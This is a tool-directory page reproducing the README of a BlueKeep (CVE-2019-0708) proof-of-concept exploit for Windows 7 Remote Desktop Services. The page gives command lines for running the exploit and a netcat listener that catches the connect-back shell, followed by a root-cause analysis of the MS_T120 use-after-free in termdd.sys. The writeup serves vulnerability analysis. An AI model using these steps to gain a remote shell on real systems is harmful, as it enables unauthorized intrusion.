Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) proof of concept allowing pre-auth RCE on Windows7 | Kitploit
Tools/GitHubGitHub/ricseclab/cve-2019-0708
Vulnerability AnalysisExploitationPenetration TestingRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) proof of concept allowing pre-auth RCE on Windows7

View Repository
15023524 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-0708 (BlueKeep) pre-auth RCE POC on Windows7

Ricerca Security, Inc.

This repository demonstrates the remote code execution bug in Windows Remote Desktop Services (RDS).

Here is a POC code and technical report about BlueKeep vulnerability, which we developed before.
NOTE: Our goal is helping analysts to get better understanding about critical vulnerabilities.

How to use

Prerequisites

Our exploit code is written in Python 3, and relies on PyRDP library. Please set up them following the installation guide of PyRDP.

Usage

Currently our exploit targets, and is tested on, Windows 7 SP 1(6.1.7601) x64 on Virtual Box.

If your computer has the IP address 192.168.56.1 and you target the RDP server at example.com:1234, then type

$ python exploit.py example.com -rp 1234 192.168.56.1

If the script successfully exploits the server, a connect-back shellcode initiates a TCP connection from the server back to 192.168.56.1:4444. Therefore, for example you should wait for the connection with netcat:

$ nc -v -l 4444

If you want to change the port number to which the server connect back, use the -bp option:

$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Report

The Vulnerability

In the May 2019, Microsoft disclosed a critical Remote Code Execution vulnerability CVE-2019-0708, in Remote Desktop Services (formerly known as Terminal Services). This vulnerability is pre-authentication -- meaning the vulnerability is wormable, with the potential to cause widespread disruption. Attacker can exploit this vulnerability by sending crafted Remote Desktop Protocol (RDP) messages to the target server and get arbitrary code execution with administrative privileges.

RDP Virtual Channel

Microsoft Remote Desktop Services provides a user with open interactive Windows sessions remotely. It presents the user's Windows desktop by communicating with the user client using Remote Desktop Protocol (RDP) over port 3389/TCP.

The RDP protocol has the ability to be enhanced through software extensions called Virtual Channel. Example of functional enhancements might include: support for special types of hardware, audio, or other additions to the core functionality.
These channels include standard Microsoft-supposed channels such as "rdpdr" (Redirection), "rdpsnd"(Sound), "cliprdr" (Clipboard sharing) etc. Users can write modules using the RDP API to support other channels. In addition to the above channels, Microsoft creates two channels by default: MS_T120 (used for RDP itself) and CTXTW (used in Citrix ICA).

The vulnerability is related to virtual channels binding process of MS_T120 through "MCS Connect Initial and GCC Create" request. More background information is available from ZDI.
As aforementioned in ZDI article, all virtual channels requested by client are created using termdd!IcaCreateChannel(). Then pointers to these channel structures are stored within a table, which we shall call ChannelPointerTable.
When a connection is established with RDP client, all static virtual channels including MS_T120 are initialized internally by Windows RDP server and pointed by ChannelPointerTable.

The query to create MS_T120 and CTXTW is issued by rdpcore!WDLIB_IcaVirtualQueryBindings().

Fig .1: Generation of the query for creating MS_T120 and CTXTW

After the query is passed to termdd!IcaBindVirtualChannels(), a virtual channel structure is created in termdd!IcaAllocateChannel() and registered to ChannelPointerTable.

Fig .2: Creating and registering virtual channel structure

The function routine termdd!IcaBindChannel() is responsible for registering a virtual channel structure to ChannelPointerTable. IcaBindChannel
Here is the stack trace on Windows 7 x64, when termdd!IcaBindChannel() is called with the first argument "MS_T120" and the third argument 0x1f.

Fig .3: MS_T1209 is binded to slot 0x1f during intial request

Then ChannelPointerTable looks as follows. Note that MS_T120 is always present in Slot 0x1F.

Fig .4: ChannelPointerTable during intial request

Root cause Analysis

A use-after-free vulnerability exists in Windows RDP kernel driver, termdd.sys.
A problem is that when client specify channel with name MS_T120\x00 during "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() calls termdd!IcaFindChannelByName() and returns the existing MS_T120 channel structure in Slot 0x1F. Then this channel structure is considered as a new virtual channel entry and stored in other Slot (in this example, Slot 2) during "MCS Attach User Request".
Here is the stack trace on Windows 7 x64, when termdd!IcaBindChannel() is called with the first argument "MS_T120" and the third argument 0x2.

Fig .5: MS_T1209 is also binded to slot 0x2 during attach request

In other words, MS_T120 channel structure is pointed by two slots 0x1F and 0x2.

Fig .6: ChannelPointerTable during attach request

If an attacker then sends invalid data into the MS_T120 channel, termdd.sys close the channel using termdd!IcaCloseChannel(), clears the pointer at the slot.(Slot 2 in the running example)
However, the same pointer in Slot 0x1F isn't cleared.
Subsequently, when the connection terminates, RDPWD!HandleDisconnectProviderUlt() is invoked, which in turn calls termdd!IcaChannelInputInternal() and attempts to destruct freed MS_T1209 channel structure again using the pointer at Slot 0x1F. A destruction procedure is invoked by vtable pointer within channel structure. This leads to a use-after-free condition.

Download Tool